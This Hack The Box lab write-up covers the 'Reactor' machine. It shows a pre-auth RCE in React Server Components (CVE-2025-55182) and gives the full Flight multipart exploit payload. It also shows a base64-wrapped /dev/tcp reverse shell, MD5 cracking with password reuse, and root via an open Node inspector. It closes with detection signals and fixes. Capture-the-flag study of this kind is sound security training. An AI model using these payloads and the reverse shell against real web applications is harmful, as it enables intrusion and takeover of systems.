HTB — Reactor


React2Shell to root via the Node inspector

Reactor is a Linux box wearing a web app costume: a nuclear reactor dashboard built on Next.js, vulnerable to the highest-profile JavaScript deserialization bug of the last year. The chain is modern and short — pre-auth RCE through React Server Components, an SQLite database nobody secured, password reuse, and a root process left with its debugger open.

Mission Brief

Difficulty Easy (HTB rating; some write-ups say Medium)
OS Ubuntu 24.04 LTS
Released / retired 2026-05-23 / 2026-10-03
Attack surface 22/tcp SSH, 3000/tcp HTTP (Next.js 15.0.3), 53/tcp = red herring
Techniques CVE-2025-55182 (React2Shell) → SQLite/MD5 → password reuse → Node.js --inspect (CDP)
Tools nmap, feroxbuster, curl, sqlite3, hashcat/CrackStation, ssh, node
Creator tejas3008

Route of the whole box:

1. Recon + fingerprint JS chunks   → Next.js 15.0.3 / React 19.0.0-rc
2. React2Shell pre-auth RCE        → shell as node (uid 999)
3. reactor.db → MD5 crack → reuse  → SSH as engineer, user.txt
4. root node --inspect :9229       → CDP Runtime.evaluate → root.txt

Recon — the app tells you its versions if you ask the right files

Two TCP ports, full scan first:

kali$ sudo nmap -p- --reason --min-rate 10000 10.129.91.79
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-09-23 01:20 UTC
Nmap scan report for 10.129.91.79
Host is up, received echo-reply ttl 63 (0.038s latency).
Not shown: 65533 closed tcp ports (reset)
PORT     STATE SERVICE REASON
22/tcp   open  ssh     syn-ack ttl 63
3000/tcp open  ppp     syn-ack ttl 63

Nmap done: 1 IP address (1 host up) scanned in 8.92 seconds

Version scan on the two open ports:

kali$ sudo nmap -p 22,3000 -sCV 10.129.91.79
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
3000/tcp open  ppp?
| fingerprint-strings:
|   GetRequest:
|     HTTP/1.1 200 OK
|     Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Accept-Encoding
|     x-nextjs-cache: HIT
|     X-Powered-By: Next.js
|     Content-Type: text/html; charset=utf-8
|_    Content-Length: 17175

Three facts from that block, before touching the page: OpenSSH 9.6p1 points at Ubuntu 24.04; TTL 63 says Linux one hop away; and the response headers literally announce Next.js (X-Powered-By: Next.js, Vary: RSC — that first value is React Server Components, already a fingerprint of the feature set abused in step 2).

Directory brute force gives the framework's own static assets and nothing else — which is normal for a compiled app router:

kali$ feroxbuster -u http://10.129.91.79:3000
308      GET        1l        1w       17c http://10.129.91.79:3000/_next/static/css/ => http://10.129.91.79:3000/_next/static/css
200      GET        1l      2125w   112594c http://10.129.91.79:3000/_next/static/chunks/polyfills-42372ed130431b0a.js
200      GET        1l       85w     6707c http://10.129.91.79:3000/_next/static/css/414e1be982bc8557.css
200      GET        1l     2979w   166088c http://10.129.91.79:3000/_next/static/chunks/4bd1b696-80bcaf75e1b4285e.js
200      GET     1l     4694w   181180c http://10.129.91.79:3000/_next/static/chunks/517-d083b552e04dead1.js
200      GET        1l      337w    17175c http://10.129.91.79:3000/
[####################] - 3m     30010/30010   0s      found:11      errors:0

(trimmed — the interesting part is the /_next/static/chunks/ tree.)

Next.js compiles routes into minified JavaScript chunks, and versions get stamped into them. Pull every chunk the page references, then grep:

kali$ for f in $(curl -s http://10.129.91.79:3000 | grep -oE '/_next/static/[^"\\]+\.js' | sort -u); do wget "http://10.129.91.79:3000$f"; done
...
kali$ npx js-beautify -r *.js
...
kali$ grep -Eoi 'version\s?[:=]\s*"[^"]*"' *
4bd1b696-80bcaf75e1b4285e.js:version: "19.0.0-rc-66855b96-20241106"
4bd1b696-80bcaf75e1b4285e.js:Version: "19.0.0-rc-66855b96-20241106"
517-d083b552e04dead1.js:version: "15.0.3"
517-d083b552e04dead1.js:version = "19.0.0-rc-66855b96-20241106"
polyfills-42372ed130431b0a.js:version: "3.38.1"

Field note — reading a build fingerprint. 15.0.3 is the Next.js version (released mid-November 2024 — if it is still being served, the framework is roughly two years stale). 19.0.0-rc-66855b96-20241106 is a React 19 release candidate pinned by Next 15.0.x — an RC, not a stable build. 3.38.1 is core-js polyfills. The React RC is the critical line: React Server Components in this era ship the Flight deserializer abused next.

Before exploitation, one cheap check: source maps. If .map files were published you could rebuild original source — here they are not:

kali$ for f in $(curl -s http://10.129.91.79:3000 | grep -oE '/_next/static/[^"\\]+\.js'); do
  echo -n "$f.map -> "; curl -s -o /dev/null -w '%{http_code}\n' "http://10.129.91.79:3000$f.map"
done
/_next/static/chunks/webpack-db0a529a99835594.js.map -> 404
/_next/static/chunks/4bd1b696-80bcaf75e1b4285e.js.map -> 404
/_next/static/chunks/517-d083b552e04dead1.js.map -> 404

Foothold — CVE-2025-55182, React2Shell

The bug, in one paragraph

React Server Components use a wire format called Flight. The half of it that parses data coming from the browser is the reply decoder — and in affected versions it unsafely deserializes payloads sent to Server Function endpoints. CVE-2025-55182 (NIST) is blunt about the scope:

A pre-authentication remote code execution vulnerability exists in React Server Components versions 19.0.0, 19.1.0, 19.1.1, and 19.2.0 ... The vulnerable code unsafely deserializes payloads from HTTP requests to Server Function endpoints.

CVSS 10.0, in CISA KEV since 5 December 2025. Vercel tracks the Next.js-side impact as CVE-2025-66478 (a rejected duplicate of 55182) — same flaw, two bookkeeping entries. Crucially, the decoder runs before React validates the action ID, so a POST with any Next-Action header value triggers it. No auth, no special endpoint — a default create-next-app on a vulnerable React is enough.

Confirming Server Actions are live

Two tells, both from the wire:

kali$ curl -s -o /dev/null -w "%{http_code}\n" -X POST http://10.129.91.79:3000/
405
kali$ curl -s -o /dev/null -w "%{http_code}\n" -X POST http://10.129.91.79:3000/ -H "Next-Action: x"
200

A plain POST is rejected (405); the same POST with a Next-Action header — a value that matches nothing — returns 200 and re-renders the page. That is the fingerprint of a deserializer firing ahead of action-ID validation.

The payload

The original PoC by lachlan2k forges two internal Flight objects — a Chunk and a Response — so that a field lookup resolves to the Function constructor and compiles attacker JavaScript. Saved as r2s-body.txt (multipart keeps the payload out of URL encoding):

------R2S
Content-Disposition: form-data; name="0"

"$1"
------R2S
Content-Disposition: form-data; name="1"

{"status": "resolved_model", "reason": 0, "_response": "$5", "value": "{\"then\": \"$4:map\", \"0\": {\"then\": \"$B3\"}, \"length\": 1}", "then": "$2:then"}
------R2S
Content-Disposition: form-data; name="2"

"$@3"
------R2S
Content-Disposition: form-data; name="3"

""
------R2S
Content-Disposition: form-data; name="4"

[]
------R2S
Content-Disposition: form-data; name="5"

{"_prefix": "process.mainModule.require('child_process').execSync('ping -c 1 10.10.15.169')//", "_formData": {"get": "$4:constructor:constructor"}, "_chunks": "$2:_response:_chunks", "_bundlerConfig": {}}
------R2S--

Field note — what the fields actually do. In Flight, $ is a reference and : walks properties, so "$4:constructor:constructor" means [].constructor.constructor — the Function constructor. Field 4 is the springboard ([]), field 5 is a forged Response whose _formData.get is that constructor and whose _prefix is the attacker's JavaScript: React's lookup get(_prefix + id) therefore compiles the payload + "//id". Field 1 is a forged Chunk with "status":"resolved_model", which makes React parse its value against the forged _response instead of its own; $B3 is a reference to a field that was never sent, so it misses the cache and falls into the poisoned get. The then/map plumbing (fields 0 and 4) is what gets the compiled function actually called. Only _prefix needs to change to run anything.

Note the JavaScript itself: _prefix is compiled by Function in global scope, where CommonJS require does not exist — hence the long way around, process.mainModule.require('child_process'). And the trailing // comments out the field ID React appends.

First proof of life — a ping, blind but observable:

kali$ curl --max-time 1 -X POST http://10.129.91.79:3000/ \
  -H "Next-Action: 0xdf" \
  -H "Content-Type: multipart/form-data; boundary=----R2S" \
  --data-binary @r2s-body.txt
curl: (28) Operation timed out after 1002 milliseconds with 0 bytes received

The timeout is expected: the forged thenable never resolves and React waits forever — --max-time 1 just kills the request. Meanwhile, on your VPN interface:

kali$ sudo tcpdump -ni tun0 icmp
tcpdump: verbose output suppressed, use -v[v] for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
13:25:17.550828 IP 10.129.91.79 > 10.10.15.169: ICMP echo request, id 6460, seq 1, length 64
13:25:17.550863 IP 10.10.15.169 > 10.129.91.79: ICMP echo reply, id 6460, seq 1, length 64

RCE confirmed. Swap ping for a reverse shell, base64-wrapped to dodge the quoting inside the single-quoted JavaScript string:

kali$ echo 'bash  -i >& /dev/tcp/10.10.15.169/443 0>&1  ' | base64
YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTUuMTY5LzQ0MyAwPiYxICAK

A subtle detail worth stealing: spaces shift byte alignment, so you can re-roll the base64 until it contains neither + nor / — those two characters are exactly what a URL-encoded form path silently corrupts (+ becomes a space). Costs nothing, removes a whole class of "why is my payload broken" debugging.

_prefix becomes the decode-and-execute one-liner:

{"_prefix": "process.mainModule.require('child_process').execSync('echo YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTUuMTY5LzQ0MyAwPiYxICAK | base64 -d | bash')//", "_formData": {"get": "$4:constructor:constructor"}, "_chunks": "$2:_response:_chunks", "_bundlerConfig": {}}

Fire it with a listener ready:

kali$ nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.129.91.79 36186
bash: cannot set terminal process group (1394): Inappropriate ioctl for device
bash: no job control in this shell
node@reactor:/opt/reactor-app$

Upgrade the shell the usual way:

node@reactor:/opt/reactor-app$ script /dev/null -c bash
Script started, output log file is '/dev/null'.
node@reactor:/opt/reactor-app$ ^Z
kali$ stty raw -echo; fg
node@reactor:/opt/reactor-app$ reset
Terminal type? screen
node@reactor:/opt/reactor-app$

Field note — two payload caveats that eat time. (1) execSync blocks the server's response thread until the command finishes: fine for ping, fatal for an interactive shell — spawn asynchronously (child_process.exec) if you want a stable callback. (2) Public PoC variants differ; the $B1337/_chunks-style shapes have been observed returning HTTP 500 with a numeric digest while the canonical gadget above works. And there is an elegant alternative to the blind shell entirely: make the payload throw an error whose digest field carries the command output — the response body reflects it verbatim, giving you non-blind, one-shot command execution with plain curl.

User — an orphan database and one reused password

The shell lands in /opt/reactor-app. Standard enumeration, and the app directory has an oddity:

node@reactor:/opt/reactor-app$ ls
app  next.config.js  node_modules  package.json  package-lock.json  reactor.db
node@reactor:/opt/reactor-app$ cat package.json
{
  "name": "reactor-app",
  "version": "3.2.1",
  "private": true,
  "dependencies": {
    "next": "15.0.3",
    "react": "19.0.0",
    "react-dom": "19.0.0"
  }
}

A reactor.db — and no database driver in the dependencies. The site hardcodes its data; the database is a leftover nobody deleted. Open it:

node@reactor:/opt/reactor-app$ sqlite3 reactor.db
SQLite version 3.45.1 2024-01-30 16:01:20
sqlite> .tables
sensor_logs  users
sqlite> .headers on
sqlite> select * from users;
id|username|password_hash|role|email
1|admin|a203b22191d744a4e70ada5c101b17b8|administrator|admin@reactor.htb
2|engineer|39d97110eafe2a9a68639812cd271e8e|operator|engineer@reactor.htb

Two users, 32 hex characters each — MD5, no salts, no format prefixes. sensor_logs is decorative telemetry. Crack the engineer hash (CrackStation online, or locally):

kali$ echo '39d97110eafe2a9a68639812cd271e8e' > engineer.hash
kali$ hashcat -m 0 -a 0 engineer.hash /usr/share/wordlists/rockyou.txt
39d97110eafe2a9a68639812cd271e8e:reactor1

Now the designed trap: the obvious target is right there and unreadable —

node@reactor:/opt/reactor-app$ cat /home/engineer/user.txt
cat: /home/engineer/user.txt: Permission denied

node is uid 999; the flag belongs to engineer (uid 1000). The hashes were pulled from the application, but the password was reused for the system account:

kali$ sshpass -p reactor1 ssh engineer@10.129.91.79
    ReactorWatch Core Monitoring System
    Nuclear Dynamics Corp. - Site 7
    AUTHORIZED PERSONNEL ONLY
Last login: Thu Sep 24 23:26:12 2026 from 10.10.15.169
engineer@reactor:~$

(su - engineer from the node shell works identically.) And the flag:

engineer@reactor:~$ cat user.txt
b9ffa3bf************************

Field note — reuse is the whole lesson. An MD5 in a SQLite file is a credential storage failure; the user.txt falling out of it is a hygiene failure — the same password on the service account and the login account. On real engagements this exact step (app DB → crack → SSH/su) is one of the highest-confidence pivots there is.

Root — the debugger nobody turned off

Enumerating as engineer

engineer@reactor:~$ sudo -l
Sorry, user engineer may not run sudo on reactor.
engineer@reactor:/$ id
uid=1000(engineer) gid=1000(engineer) groups=1000(engineer),999(lxd)

Two classic doors, both bricked (see the traps box below). What is actually interesting is one directory up in /opt:

engineer@reactor:/opt$ ls
reactor-app  uptime-monitor
engineer@reactor:/opt/uptime-monitor$ ls
worker.js

worker.js is an uptime monitor: probes http://127.0.0.1:3000/ every 30 seconds, appends the result to /var/log/uptime-monitor.csv. Harmless code — the problem is how it was started:

engineer@reactor:/$ ps auxww | grep worker.js
root        1396  0.0  1.2 1067424 49020 ?       Ssl  Sep23   0:07 /usr/bin/node --inspect=127.0.0.1:9229 /opt/uptime-monitor/worker.js
engineer@reactor:~$ netstat -tnlp
(No info could be read for "-p": geteuid()=1000 but you should be root.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.1:9229          0.0.0.0:*               LISTEN
tcp6       0      0 :::3000                 :::*                    LISTEN

A root Node.js process, started with --inspect=127.0.0.1:9229.

Field note — what --inspect is. The flag opens the V8 engine's built-in inspector — the same Chrome DevTools Protocol your browser speaks — on a WebSocket port. It has no authentication. Whoever reaches the port gets Runtime.evaluate: arbitrary JavaScript executed inside that process, with its privileges. The only security control here is the 127.0.0.1 bind, which is exactly the boundary a low-privilege shell already sits inside.

The traps this box is built from

This machine is less a difficulty spike than a trap course — worth knowing before you waste an hour on any of them:

Trap Why it fails
Port 53/tcp accepts connections but speaks no DNS (UDP/53 closed) snap-store artifact, not a service — ignore it
Group lxd on engineer /usr/sbin/lxc is only the Ubuntu 24.04 lxd-installer shim; it socket-activates snap install lxd, which dies with "unable to contact snap store" — no internet, no daemon, no classic LXD privesc
sudo -R (advertised by sudo 1.9.15p5) → CVE-2025-32463 chroot privesc Ubuntu backported the fix: sudo -R woot woot → sudo: you are not permitted to use the -R option
CVE-2025-29927 (x-middleware-subrequest bypass) no middleware-protected routes exist — the header does nothing
Reading user.txt as node permission denied by design; forces the SSH/su pivot (step 3)

Attacking the inspector

Enumerate what the debugger is holding first:

engineer@reactor:~$ curl localhost:9229/json/list
[ {
  "description": "node.js instance",
  "id": "f36940bd-09d1-46c6-b3f4-74c575af3d6d",
  "title": "/opt/uptime-monitor/worker.js",
  "type": "node",
  "url": "file:///opt/uptime-monitor/worker.js",
  "webSocketDebuggerUrl": "ws://localhost:9229/f36940bd-09d1-46c6-b3f4-74c575af3d6d"
} ]

One instance, worker.js, root. The shortest path is node's own inspector client — no extra tools:

engineer@reactor:~$ node inspect 127.0.0.1:9229
connecting to 127.0.0.1:9229 ... ok
debug> exec("process.mainModule.require('child_process').execSync('id').toString()")
'uid=0(root) gid=0(root) groups=0(root)\n'

Root, in three lines. (Same lesson as the foothold: inside the inspector the module loader is reached through process.mainModule.require, and .toString() turns the Buffer into readable output.) Read the flag:

debug> exec("process.mainModule.require('child_process').execSync('cat /root/root.txt').toString()")
'd25f48c9************************\n'

Two alternatives, depending on taste:

  • Chrome DevTools — reconnect SSH with port forwarding (ssh -L 9229:localhost:9229 engineer@10.129.91.79), open chrome://inspect, click the target, and use the console exactly like the debug> prompt above. Pure GUI, same primitive.
  • Pure Python — if node were missing, the CDP socket is still there: GET /json for the webSocketDebuggerUrl, a hand-rolled WebSocket handshake over raw TCP, then one masked text frame containing {"id":1,"method":"Runtime.evaluate","params":{"expression": ...}}. Standard library only — useful discipline for locked-down targets.

Field note — the chain is not linear. You can do the entire root step directly from the node foothold, skipping engineer: ps auxww works as node, and 127.0.0.1:9229 is reachable from that shell too. The engineer/user.txt leg exists because HTB scores it — in a real engagement you would take root first and read whatever is readable afterwards. Also worth knowing: on some instances /home/engineer is 700, so even the pivot user cannot read the user flag — as root, everything is readable. Instance variance is a thing; the root path never changes.

Detection & defense — what the blue team gets to see

Nothing in this chain is invisible; it is just not being watched:

Stage Signal
React2Shell POST to any path with a Next-Action header from an unusual client; multipart bodies with the Flight reference syntax ($1, $B, resolved_model); responses that time out and are followed by outbound ICMP/beacon traffic; thrown-error digest fields carrying command output in the response body
Credential theft The web process reading its own reactor.db (file-integrity monitoring on the app directory fires instantly); MD5-without-salt in application storage
Password reuse First-ever SSH login for engineer from an IP that has never touched the box before; application password appearing in the auth log
Root debugger --inspect on a production Node process (process monitoring); port 9229 opened on loopback; node inspect/WebSocket upgrades against it; ps showing --inspect at all

And the fixes, in priority order:

Vulnerability Fix
CVE-2025-55182 / 66478 Upgrade React to a patched 19.x stable and Next.js ≥ 15.2.3 — never ship an -rc framework build
--inspect in production Remove the flag entirely; even bound to 127.0.0.1 it is root-equivalent for anyone with a foothold
SQLite in the web root Move it out, stop shipping dead data, hash passwords with a modern KDF (bcrypt/argon2, per-user salt)
Password reuse Unique credentials per service account — an application password is not a login password

Attack chain recap

# Step Technique Tool / evidence
1 Fingerprint Next.js 15.0.3 + React 19.0.0-rc from JS chunks curl, grep, js-beautify
2 Pre-auth RCE CVE-2025-55182 Flight deserialization (any Next-Action) curl + multipart PoC, nc
3 Credentials SQLite reactor.db, unsalted MD5 → reactor1 sqlite3, hashcat/CrackStation
4 User Password reuse app → SSH (engineer) sshpass / su
5 Root V8 inspector Runtime.evaluate on 127.0.0.1:9229 node inspect (or DevTools / CDP)

Conclusion

Reactor is the current shape of a web box: the vulnerability is not in the application code — it is in the framework the application was assembled from, shipped as a release-candidate build, never patched. Reading framework versions out of served JavaScript is now standard recon, and the two-line Next-Action probe is worth adding to every Next.js checklist.

Underneath it, the box teaches three boring-but-eternal lessons: an orphan database is a credential store whether you call it one or not; a reused password turns an application compromise into a shell; and a debug flag left in a production launch command is a root shell waiting for anyone who already had a bad day. The traps (lxd, sudo -R, port 53) are not cruft either — they are the box telling you which decade your intuition is from.